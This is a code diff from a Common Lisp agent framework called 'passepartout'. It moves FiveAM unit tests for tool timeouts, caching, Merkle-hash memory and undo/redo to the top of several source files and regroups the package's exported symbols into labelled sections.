+  (is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
+
+(test test-verify-write-match
+  "Contract v0.7.2: verify-write returns T on match."
+  (let ((path "/tmp/passepartout-verify-test.org")
+        (content "test content"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (is (passepartout::verify-write path content))
+      (ignore-errors (delete-file path)))))
+
+(test test-tool-timeout-enforcement
+  "Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
+  (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
+  (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "sleep-forever"
+                                          :read-only-p nil
+                                          :body (lambda (args)
+                                                  (declare (ignore args))
+                                                  (sleep 10)
+                                                  "done")))
+  (unwind-protect
+       (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
+              (ctx '(:depth 0))
+              (result (passepartout::action-tool-execute action ctx)))
+         (is (eq :EVENT (getf result :TYPE)))
+         (let ((payload (getf result :PAYLOAD)))
+           (is (eq :tool-error (getf payload :SENSOR)))
+           (is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
+    (remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
+    (remhash "sleep-forever" passepartout::*tool-timeouts*)))
+
+(test test-tool-cache-read-only
+  "Contract v0.7.2: read-only tool results are cached and reused."
+  (let ((call-count 0))
+    (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
+          (passepartout::make-cognitive-tool :name "cache-test"
+                                            :read-only-p t
+                                            :body (lambda (args)
+                                                    (declare (ignore args))
+                                                    (incf call-count)
+                                                    (list :status :success :content (format nil "call ~d" call-count)))))
+    (unwind-protect
+         (progn
+           (clrhash passepartout::*tool-cache*)
+           (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
+                  (ctx '(:depth 0))
+                  (r1 (passepartout::action-tool-execute action ctx))
+                  (r2 (passepartout::action-tool-execute action ctx)))
+             (is (= 1 call-count) "Second call should hit cache, not re-execute")
+             (let ((p1 (getf r1 :PAYLOAD))
+                   (p2 (getf r2 :PAYLOAD)))
+               (is (string= (getf (getf p1 :RESULT) :CONTENT)
+                            (getf (getf p2 :RESULT) :CONTENT))))))
+      (remhash "cache-test" passepartout::*cognitive-tool-registry*)
+      (clrhash passepartout::*tool-cache*))))
+
 (in-package :passepartout)
 
 (defvar *actuator-default* :cli
@@ -247,125 +369,3 @@ For approval-required actions, creates a Flight Plan instead of executing."
 
 (defun act-gate (signal)
   (loop-gate-act signal))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-pipeline-act-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:pipeline-act-suite))
-
-(in-package :passepartout-pipeline-act-tests)
-
-(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
-(in-suite pipeline-act-suite)
-
-(test test-loop-gate-act-basic
-  "Contract 1: approved action reaches :acted status via loop-gate-act."
-  (clrhash passepartout::*skill-registry*)
-  (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
-          (result (loop-gate-act signal)))
-    (is (eq :acted (getf signal :status)))
-    (is (null result))))
-
-(test test-loop-gate-act-no-approved-action
-  "Contract 1: signal with no approved-action still reaches :acted status."
-  (clrhash passepartout::*skill-registry*)
-  (let* ((signal (list :type :EVENT :status nil :depth 0)))
-    (loop-gate-act signal)
-    (is (eq :acted (getf signal :status)))))
-
-(test test-loop-gate-act-last-mile-reject
-  "Contract 1: last-mile cognitive-verify rejection blocks approved-action."
-  (clrhash passepartout::*skill-registry*)
-  (passepartout::defskill :mock-blocker
-    :priority 50
-    :trigger (lambda (ctx) (declare (ignore ctx)) t)
-    :deterministic (lambda (action ctx)
-                    (declare (ignore ctx action))
-                    (list :type :LOG :payload (list :text "Last-mile block"))))
-  (let* ((signal (list :type :EVENT :status nil :depth 0
-                        :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
-    (loop-gate-act signal)
-    (is (eq :acted (getf signal :status)))
-    (is (null (getf signal :approved-action)))))
-
-(test test-loop-gate-act-preserves-meta
-  "Contract 1: signal metadata is not mutated by loop-gate-act."
-  (clrhash passepartout::*skill-registry*)
-  (let* ((meta '(:source :tui :session "s1"))
-         (signal (list :type :EVENT :status nil :depth 0 :meta meta
-                        :approved-action '(:target :cli :payload (:text "test")))))
-    (loop-gate-act signal)
-    (is (equal meta (getf signal :meta)))))
-
-(test test-action-dispatch-routes
-  "Contract 3: action-dispatch routes to registered actuators without crashing."
-  (actuator-initialize)
-  (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
-                                  '(:type :EVENT :depth 0))))
-    (is (numberp result) "eval should return a number")))
-
-(test test-tool-timeout-shell
-  "Contract v0.7.2: shell timeout is 300 seconds."
-  (is (= 300 (passepartout::tool-timeout "shell"))))
-
-(test test-tool-timeout-unknown
-  "Contract v0.7.2: unknown tool gets default 120s."
-  (is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
-
-(test test-verify-write-match
-  "Contract v0.7.2: verify-write returns T on match."
-  (let ((path "/tmp/passepartout-verify-test.org")
-        (content "test content"))
-    (with-open-file (f path :direction :output :if-exists :supersede)
-      (write-string content f))
-    (unwind-protect
-         (is (passepartout::verify-write path content))
-      (ignore-errors (delete-file path)))))
-
-(test test-tool-timeout-enforcement
-  "Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
-  (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
-  (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
-        (passepartout::make-cognitive-tool :name "sleep-forever"
-                                          :read-only-p nil
-                                          :body (lambda (args)
-                                                  (declare (ignore args))
-                                                  (sleep 10)
-                                                  "done")))
-  (unwind-protect
-       (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
-              (ctx '(:depth 0))
-              (result (passepartout::action-tool-execute action ctx)))
-         (is (eq :EVENT (getf result :TYPE)))
-         (let ((payload (getf result :PAYLOAD)))
-           (is (eq :tool-error (getf payload :SENSOR)))
-           (is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
-    (remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
-    (remhash "sleep-forever" passepartout::*tool-timeouts*)))
-
-(test test-tool-cache-read-only
-  "Contract v0.7.2: read-only tool results are cached and reused."
-  (let ((call-count 0))
-    (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
-          (passepartout::make-cognitive-tool :name "cache-test"
-                                            :read-only-p t
-                                            :body (lambda (args)
-                                                    (declare (ignore args))
-                                                    (incf call-count)
-                                                    (list :status :success :content (format nil "call ~d" call-count)))))
-    (unwind-protect
-         (progn
-           (clrhash passepartout::*tool-cache*)
-           (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
-                  (ctx '(:depth 0))
-                  (r1 (passepartout::action-tool-execute action ctx))
-                  (r2 (passepartout::action-tool-execute action ctx)))
-             (is (= 1 call-count) "Second call should hit cache, not re-execute")
-             (let ((p1 (getf r1 :PAYLOAD))
-                   (p2 (getf r2 :PAYLOAD)))
-               (is (string= (getf (getf p1 :RESULT) :CONTENT)
-                            (getf (getf p2 :RESULT) :CONTENT))))))
-      (remhash "cache-test" passepartout::*cognitive-tool-registry*)
-      (clrhash passepartout::*tool-cache*))))

lisp/core-memory.lisp

@@ -1,3 +1,135 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-memory-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:memory-suite))
+
+(in-package :passepartout-memory-tests)
+
+(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
+(in-suite memory-suite)
+
+(test merkle-hash-consistency
+  "Contract 2: identical ASTs produce identical Merkle hashes."
+  (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
+    (clrhash passepartout::*memory-store*)
+    (let ((id1 (ingest-ast ast1)))
+      (let ((hash1 (memory-object-hash (memory-object-get id1))))
+        (clrhash passepartout::*memory-store*)
+        (let ((id2 (ingest-ast ast1)))
+          (is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
+
+(test merkle-hash-different
+  "Contract 2: distinct ASTs produce different Merkle hashes."
+  (clrhash passepartout::*memory-store*)
+  (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
+         (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
+         (id1 (ingest-ast ast1))
+         (id2 (ingest-ast ast2))
+         (hash1 (memory-object-hash (memory-object-get id1)))
+         (hash2 (memory-object-hash (memory-object-get id2))))
+    (is (not (equal hash1 hash2)))))
+
+(test test-ingest-ast-returns-id
+  "Contract 1: ingest-ast returns a string ID and stores the object."
+  (clrhash passepartout::*memory-store*)
+  (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
+    (is (stringp id))
+    (is (not (null id)))))
+
+(test test-memory-object-get
+  "Contract 3: memory-object-get retrieves an object by ID after ingest."
+  (clrhash passepartout::*memory-store*)
+  (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
+    (let ((obj (memory-object-get id)))
+      (is (not (null obj)))
+      (is (eq :HEADLINE (memory-object-type obj)))
+      (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
+
+(test test-snapshot-and-rollback
+  "Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
+  (clrhash passepartout::*memory-store*)
+  (setf passepartout::*memory-snapshots* nil)
+  (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
+  (snapshot-memory)
+  (clrhash passepartout::*memory-store*)
+  (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
+  (rollback-memory 0)
+  (is (not (null (memory-object-get "snap-a"))))
+  (is (null (memory-object-get "snap-b"))))
+
+(test test-undo-snapshot-restore
+  "Contract v0.7.2: undo-snapshot captures state, undo restores."
+  (let ((orig-store passepartout::*memory-store*)
+        (orig-undo passepartout::*undo-stack*)
+        (orig-redo passepartout::*redo-stack*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
+                 passepartout::*undo-stack* nil
+                 passepartout::*redo-stack* nil)
+           (passepartout::undo-snapshot)
+           (setf (gethash "x" passepartout::*memory-store*) "hello")
+           (is (string= "hello" (gethash "x" passepartout::*memory-store*)))
+           (is (passepartout::undo))
+           (is (null (gethash "x" passepartout::*memory-store*))))
+      (setf passepartout::*memory-store* orig-store
+            passepartout::*undo-stack* orig-undo
+            passepartout::*redo-stack* orig-redo))))
+
+(test test-undo-redo-cycle
+  "Contract v0.7.2: redo restores undone state."
+  (let ((orig-store passepartout::*memory-store*)
+        (orig-undo passepartout::*undo-stack*)
+        (orig-redo passepartout::*redo-stack*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
+                 passepartout::*undo-stack* nil
+                 passepartout::*redo-stack* nil)
+           (passepartout::undo-snapshot)
+           (setf (gethash "y" passepartout::*memory-store*) "world")
+           (is (passepartout::undo))
+           (is (null (gethash "y" passepartout::*memory-store*)))
+           (is (passepartout::redo))
+           (is (string= "world" (gethash "y" passepartout::*memory-store*))))
+      (setf passepartout::*memory-store* orig-store
+            passepartout::*undo-stack* orig-undo
+            passepartout::*redo-stack* orig-redo))))
+
+(test test-undo-empty-stack-nil
+  "Contract v0.7.2: undo returns nil on empty stack."
+  (let ((orig-undo passepartout::*undo-stack*))
+    (unwind-protect
+         (progn (setf passepartout::*undo-stack* nil)
+                (is (null (passepartout::undo))))
+      (setf passepartout::*undo-stack* orig-undo))))
+
+(test test-audit-node-found
+  "Contract v0.7.2: audit-node returns info for existing object."
+  (clrhash passepartout::*memory-store*)
+  (setf (gethash "audit-1" passepartout::*memory-store*)
+        (passepartout::make-memory-object :id "audit-1" :type :HEADLINE
+                                         :version 1 :hash "abc123" :scope :memex))
+  (let ((info (passepartout::audit-node "audit-1")))
+    (is (not (null info)))
+    (is (eq :HEADLINE (getf info :type)))
+    (is (string= "abc123" (getf info :hash)))))
+
+(test test-audit-node-not-found
+  "Contract v0.7.2: audit-node returns nil for nonexistent id."
+  (is (null (passepartout::audit-node "nonexistent-xxxx"))))
+
+(test test-audit-verify-hash
+  "Contract v0.7.2: audit-verify-hash returns (total . missing)."
+  (clrhash passepartout::*memory-store*)
+  (setf (gethash "a" passepartout::*memory-store*)
+        (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
+  (let ((result (passepartout::audit-verify-hash)))
+    (is (= 1 (car result)))
+    (is (= 0 (cdr result)))))
+
 (in-package :passepartout)
 
 (defvar *memory-store* (make-hash-table :test 'equal))
@@ -217,135 +349,3 @@ Returns (total . missing-hashes)."
                      (incf missing)))))
              *memory-store*)
     (cons total missing)))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-memory-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:memory-suite))
-
-(in-package :passepartout-memory-tests)
-
-(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
-(in-suite memory-suite)
-
-(test merkle-hash-consistency
-  "Contract 2: identical ASTs produce identical Merkle hashes."
-  (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
-    (clrhash passepartout::*memory-store*)
-    (let ((id1 (ingest-ast ast1)))
-      (let ((hash1 (memory-object-hash (memory-object-get id1))))
-        (clrhash passepartout::*memory-store*)
-        (let ((id2 (ingest-ast ast1)))
-          (is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
-
-(test merkle-hash-different
-  "Contract 2: distinct ASTs produce different Merkle hashes."
-  (clrhash passepartout::*memory-store*)
-  (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
-         (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
-         (id1 (ingest-ast ast1))
-         (id2 (ingest-ast ast2))
-         (hash1 (memory-object-hash (memory-object-get id1)))
-         (hash2 (memory-object-hash (memory-object-get id2))))
-    (is (not (equal hash1 hash2)))))
-
-(test test-ingest-ast-returns-id
-  "Contract 1: ingest-ast returns a string ID and stores the object."
-  (clrhash passepartout::*memory-store*)
-  (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
-    (is (stringp id))
-    (is (not (null id)))))
-
-(test test-memory-object-get
-  "Contract 3: memory-object-get retrieves an object by ID after ingest."
-  (clrhash passepartout::*memory-store*)
-  (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
-    (let ((obj (memory-object-get id)))
-      (is (not (null obj)))
-      (is (eq :HEADLINE (memory-object-type obj)))
-      (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
-
-(test test-snapshot-and-rollback
-  "Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
-  (clrhash passepartout::*memory-store*)
-  (setf passepartout::*memory-snapshots* nil)
-  (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
-  (snapshot-memory)
-  (clrhash passepartout::*memory-store*)
-  (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
-  (rollback-memory 0)
-  (is (not (null (memory-object-get "snap-a"))))
-  (is (null (memory-object-get "snap-b"))))
-
-(test test-undo-snapshot-restore
-  "Contract v0.7.2: undo-snapshot captures state, undo restores."
-  (let ((orig-store passepartout::*memory-store*)
-        (orig-undo passepartout::*undo-stack*)
-        (orig-redo passepartout::*redo-stack*))
-    (unwind-protect
-         (progn
-           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
-                 passepartout::*undo-stack* nil
-                 passepartout::*redo-stack* nil)
-           (passepartout::undo-snapshot)
-           (setf (gethash "x" passepartout::*memory-store*) "hello")
-           (is (string= "hello" (gethash "x" passepartout::*memory-store*)))
-           (is (passepartout::undo))
-           (is (null (gethash "x" passepartout::*memory-store*))))
-      (setf passepartout::*memory-store* orig-store
-            passepartout::*undo-stack* orig-undo
-            passepartout::*redo-stack* orig-redo))))
-
-(test test-undo-redo-cycle
-  "Contract v0.7.2: redo restores undone state."
-  (let ((orig-store passepartout::*memory-store*)
-        (orig-undo passepartout::*undo-stack*)
-        (orig-redo passepartout::*redo-stack*))
-    (unwind-protect
-         (progn
-           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
-                 passepartout::*undo-stack* nil
-                 passepartout::*redo-stack* nil)
-           (passepartout::undo-snapshot)
-           (setf (gethash "y" passepartout::*memory-store*) "world")
-           (is (passepartout::undo))
-           (is (null (gethash "y" passepartout::*memory-store*)))
-           (is (passepartout::redo))
-           (is (string= "world" (gethash "y" passepartout::*memory-store*))))
-      (setf passepartout::*memory-store* orig-store
-            passepartout::*undo-stack* orig-undo
-            passepartout::*redo-stack* orig-redo))))
-
-(test test-undo-empty-stack-nil
-  "Contract v0.7.2: undo returns nil on empty stack."
-  (let ((orig-undo passepartout::*undo-stack*))
-    (unwind-protect
-         (progn (setf passepartout::*undo-stack* nil)
-                (is (null (passepartout::undo))))
-      (setf passepartout::*undo-stack* orig-undo))))
-
-(test test-audit-node-found
-  "Contract v0.7.2: audit-node returns info for existing object."
-  (clrhash passepartout::*memory-store*)
-  (setf (gethash "audit-1" passepartout::*memory-store*)
-        (passepartout::make-memory-object :id "audit-1" :type :HEADLINE
-                                         :version 1 :hash "abc123" :scope :memex))
-  (let ((info (passepartout::audit-node "audit-1")))
-    (is (not (null info)))
-    (is (eq :HEADLINE (getf info :type)))
-    (is (string= "abc123" (getf info :hash)))))
-
-(test test-audit-node-not-found
-  "Contract v0.7.2: audit-node returns nil for nonexistent id."
-  (is (null (passepartout::audit-node "nonexistent-xxxx"))))
-
-(test test-audit-verify-hash
-  "Contract v0.7.2: audit-verify-hash returns (total . missing)."
-  (clrhash passepartout::*memory-store*)
-  (setf (gethash "a" passepartout::*memory-store*)
-        (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
-  (let ((result (passepartout::audit-verify-hash)))
-    (is (= 1 (car result)))
-    (is (= 0 (cdr result)))))

lisp/core-package.lisp

@@ -1,24 +1,38 @@
 (defpackage :passepartout
   (:use :cl)
   (:export
+   ;; ── Core: Transport & Protocol ──
    #:frame-message
    #:read-framed-message
-    #:PROTO-GET
+   #:PROTO-GET
-    #:proto-get
+   #:proto-get
-   #:*VAULT-MEMORY*
    #:make-hello-message
    #:validate-communication-protocol-schema
    #:start-daemon
-   #:log-message
+   #:register-actuator
+   #:actuator-initialize
+   #:action-dispatch
+
+   ;; ── Core: Pipeline ──
    #:main
-    #:diagnostics-run-all
+   #:log-message
-    #:diagnostics-main
+   #:process-signal
-    #:diagnostics-dependencies-check
+   #:loop-process
-    #:diagnostics-env-check
+   #:perceive-gate
-    #:register-provider
+   #:loop-gate-perceive
-    #:provider-openai-request
+   #:act-gate
-    #:provider-config
+   #:loop-gate-act
-   #:run-setup-wizard
+   #:reason-gate
+   #:loop-gate-reason
+   #:cognitive-verify
+   #:backend-cascade-call
+   #:json-alist-to-plist
+   #:stimulus-inject
+   #:register-probabilistic-backend
+   #:*probabilistic-backends*
+   #:*provider-cascade*
+
+   ;; ── Core: Memory ──
    #:ingest-ast
    #:memory-object-get
    #:*memory-store*
@@ -35,6 +49,7 @@
    #:memory-object-content
    #:memory-object-hash
    #:memory-object-scope
+   #:memory-objects-by-attribute
    #:snapshot-memory
    #:rollback-memory
    #:undo-snapshot
@@ -42,10 +57,12 @@
    #:redo
    #:*undo-stack*
    #:*redo-stack*
-    #:context-get-system-logs
+
-    #:context-assemble-global-awareness
+   ;; ── Core: Context & Awareness ──
-    #:context-awareness-assemble
+   #:context-get-system-logs
-    #:context-query
+   #:context-assemble-global-awareness
+   #:context-awareness-assemble
+   #:context-query
    #:push-context
    #:pop-context
    #:current-context
@@ -57,91 +74,25 @@
    #:focus-session
    #:focus-memex
    #:unfocus
-   #:process-signal
+   #:*scope-resolver*
-   #:loop-process
+
-    #:perceive-gate
+   ;; ── Core: Skills Engine ──
-    #:loop-gate-perceive
+   #:skill
-    #:act-gate
-    #:loop-gate-act
-    #:reason-gate
-    #:loop-gate-reason
-    #:cognitive-verify
-    #:backend-cascade-call
-    #:json-alist-to-plist
-    #:json-alist-to-plist
-    #:inject-stimulus
-    #:stimulus-inject
-    #:hitl-create
-    #:hitl-approve
-    #:hitl-deny
-    #:hitl-handle-message
-   #:dispatcher-check-secret-path
-   #:dispatcher-check-shell-safety
-   #:dispatcher-check-privacy-tags
-   #:dispatcher-check-network-exfil
-   #:dispatcher-check
-    #:dispatcher-gate
-    #:wildcard-match
-    #:actuator-initialize
-   #:action-dispatch
-   #:register-actuator
-   #:load-skill-from-org
-    #:skill-initialize-all
-    #:lisp-syntax-validate
-    #:defskill
-       #:*skill-registry*
-       #:*scope-resolver*
-       #:*embedding-backend*
-       #:*embedding-queue*
-       #:*embedding-provider*
-       #:embed-queue-object
-       #:embed-object
-       #:embed-all-pending
-       #:embedding-backend-hashing
-       #:embedding-backend-native
-       #:embedding-native-load-model
-       #:embedding-native-unload
-       #:embedding-native-ensure-loaded
-       #:embedding-native-get-dim
-       #:embeddings-compute
-       #:mark-vector-stale
-     #:skill
    #:skill-name
    #:skill-priority
    #:skill-dependencies
    #:skill-trigger-fn
    #:skill-probabilistic-prompt
    #:skill-deterministic-fn
+   #:defskill
+   #:*skill-registry*
+   #:skill-initialize-all
+   #:load-skill-from-org
+   #:lisp-syntax-validate
+
+   ;; ── Core: Cognitive Tools ──
    #:def-cognitive-tool
    #:*cognitive-tool-registry*
-    #:org-read-file
-    #:org-write-file
-    #:org-headline-add
-    #:org-headline-find-by-id
-    #:literate-tangle-sync-check
-    #:archivist-create-note
-    #:gateway-start
-    #:org-property-set
-    #:org-todo-set
-    #:org-id-generate
-    #:org-id-format
-    #:org-modify
-    #:lisp-validate
-    #:lisp-structural-check
-    #:lisp-syntactic-check
-    #:lisp-semantic-check
-    #:lisp-eval
-    #:lisp-format
-    #:lisp-list-definitions
-    #:lisp-extract
-    #:lisp-inject
-    #:lisp-slurp
-   #:get-oc-config-dir
-    #:get-tool-permission
-    #:set-tool-permission
-    #:check-tool-permission-gate
-    #:permission-get
-    #:permission-set
    #:cognitive-tool
    #:cognitive-tool-name
    #:cognitive-tool-description
@@ -149,53 +100,128 @@
    #:cognitive-tool-guard
    #:cognitive-tool-body
    #:tool-read-only-p
-   #:register-probabilistic-backend
+
-   #:*probabilistic-backends*
+   ;; ── Security: Dispatcher ──
-   #:*provider-cascade*
+   #:dispatcher-check-secret-path
-    #:vault-get
+   #:dispatcher-check-shell-safety
-    #:vault-set
+   #:dispatcher-check-privacy-tags
-    #:vault-get-secret
+   #:dispatcher-check-network-exfil
-    #:vault-set-secret
+   #:dispatcher-check
-    #:memory-objects-by-attribute
+   #:dispatcher-gate
-    #:channel-cli-input
+   #:wildcard-match
-    #:repl-eval
+
-    #:repl-inspect
+   ;; ── Security: HITL ──
-    #:repl-list-vars
+   #:hitl-create
-    #:policy-compliance-check
+   #:hitl-approve
-    #:validator-protocol-check
+   #:hitl-deny
-    #:archivist-extract-headlines
+   #:hitl-handle-message
-    #:archivist-headline-to-filename
+
-    #:literate-extract-lisp-blocks
+   ;; ── Security: Vault & Permissions ──
-    #:literate-block-balance-check
+   #:*VAULT-MEMORY*
-    #:gateway-registry-initialize
+   #:vault-get
-    #:messaging-link
+   #:vault-set
-    #:messaging-unlink
+   #:vault-get-secret
-    #:gateway-configured-p
+   #:vault-set-secret
-    #:count-tokens
+   #:get-tool-permission
-    #:model-token-ratio
+   #:set-tool-permission
-    #:token-cost
+   #:check-tool-permission-gate
-    #:provider-token-cost
+   #:permission-get
-    #:cost-track-call
+   #:permission-set
-    #:cost-session-total
+   #:policy-compliance-check
-    #:cost-session-calls
+   #:validator-protocol-check
-    #:cost-by-provider
+
-    #:cost-session-reset
+   ;; ── Embedding ──
-    #:cost-format-budget-status
+   #:*embedding-backend*
-    #:cost-track-backend-call
+   #:*embedding-queue*
-    #:prompt-prefix-cached
+   #:*embedding-provider*
-    #:context-assemble-cached
+   #:embed-queue-object
-    #:enforce-token-budget
+   #:embed-object
-    #:token-economics-initialize))
+   #:embed-all-pending
+   #:embedding-backend-hashing
+   #:embedding-backend-native
+   #:embedding-native-load-model
+   #:embedding-native-unload
+   #:embedding-native-ensure-loaded
+   #:embedding-native-get-dim
+   #:embeddings-compute
+   #:mark-vector-stale
+
+   ;; ── Channels ──
+   #:channel-cli-input
+   #:gateway-start
+   #:gateway-registry-initialize
+   #:messaging-link
+   #:messaging-unlink
+   #:gateway-configured-p
+
+   ;; ── Programming: Lisp ──
+   #:lisp-validate
+   #:lisp-structural-check
+   #:lisp-syntactic-check
+   #:lisp-semantic-check
+   #:lisp-eval
+   #:lisp-format
+   #:lisp-list-definitions
+   #:lisp-extract
+   #:lisp-inject
+   #:lisp-slurp
+
+   ;; ── Programming: Org ──
+   #:org-read-file
+   #:org-write-file
+   #:org-headline-add
+   #:org-headline-find-by-id
+   #:org-property-set
+   #:org-todo-set
+   #:org-id-generate
+   #:org-id-format
+   #:org-modify
+
+   ;; ── Programming: Literate & REPL ──
+   #:literate-tangle-sync-check
+   #:literate-extract-lisp-blocks
+   #:literate-block-balance-check
+   #:repl-eval
+   #:repl-inspect
+   #:repl-list-vars
+
+   ;; ── Symbolic ──
+   #:archivist-create-note
+   #:archivist-extract-headlines
+   #:archivist-headline-to-filename
+
+   ;; ── Diagnostics & Config ──
+   #:diagnostics-run-all
+   #:diagnostics-main
+   #:diagnostics-dependencies-check
+   #:diagnostics-env-check
+   #:get-oc-config-dir
+   #:run-setup-wizard
+
+   ;; ── Providers ──
+   #:register-provider
+   #:provider-openai-request
+   #:provider-config
+
+   ;; ── Token Economics ──
+   #:count-tokens
+   #:model-token-ratio
+   #:token-cost
+   #:provider-token-cost
+   #:cost-track-call
+   #:cost-session-total
+   #:cost-session-calls
+   #:cost-by-provider
+   #:cost-session-reset
+   #:cost-format-budget-status
+   #:cost-track-backend-call
+   #:prompt-prefix-cached
+   #:context-assemble-cached
+   #:enforce-token-budget
+   #:token-economics-initialize))
 
 (in-package :passepartout)
 
-(defun plist-get (plist key)
-  "Robust plist accessor — checks both :KEY and :key variants."
-  (let* ((s (string key))
-         (up (intern (string-upcase s) :keyword))
-         (dn (intern (string-downcase s) :keyword)))
-    (or (getf plist up) (getf plist dn))))
-
 (defvar *log-buffer* nil)
 (defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
 (defvar *log-limit* 100)

lisp/core-perceive.lisp

@@ -1,3 +1,47 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-pipeline-perceive-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:pipeline-perceive-suite))
+
+(in-package :passepartout-pipeline-perceive-tests)
+
+(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
+(in-suite pipeline-perceive-suite)
+
+(test test-loop-gate-perceive
+  "Contract 1: :buffer-update ingests AST and sets :perceived status."
+  (clrhash passepartout::*memory-store*)
+  (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
+         (result (loop-gate-perceive signal)))
+    (is (eq :perceived (getf result :status)))
+    (is (not (null (gethash "test-node" passepartout::*memory-store*))))))
+
+(test test-depth-limiting
+  "Edge: depth 11 signals are rejected by the pipeline."
+  (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
+    (is (null (process-signal runaway-signal)))))
+
+(test test-loop-gate-perceive-unknown-sensor
+  "Contract 1: unknown sensors pass through and reach :perceived."
+  (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
+         (result (loop-gate-perceive signal)))
+    (is (eq :perceived (getf result :status)))))
+
+(test test-loop-gate-perceive-no-ast
+  "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
+  (clrhash passepartout::*memory-store*)
+  (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
+         (result (loop-gate-perceive signal)))
+    (is (eq :perceived (getf result :status)))))
+
+(test test-depth-limiting-normal
+  "Contract 1: signals at normal depth pass through without rejection."
+  (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
+    (is (not (eq :rejected (getf normal-signal :status)))
+        "Signal at normal depth should not be rejected")))
+
 (in-package :passepartout)
 
 (defvar *loop-interrupt* nil)
@@ -19,9 +63,6 @@
 FN receives (signal) and returns T if consumed, nil to continue."
   (setf (gethash sensor *pre-reason-handlers*) fn))
 
-(defun inject-stimulus (raw-message &key stream (depth 0))
-  (stimulus-inject raw-message :stream stream :depth depth))
-
 (defun stimulus-inject (raw-message &key stream (depth 0))
   "Inject a raw message into the signal processing pipeline."
   (let* ((payload (getf raw-message :payload))
@@ -116,47 +157,3 @@ FN receives (signal) and returns T if consumed, nil to continue."
 
 (defun perceive-gate (signal)
   (loop-gate-perceive signal))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
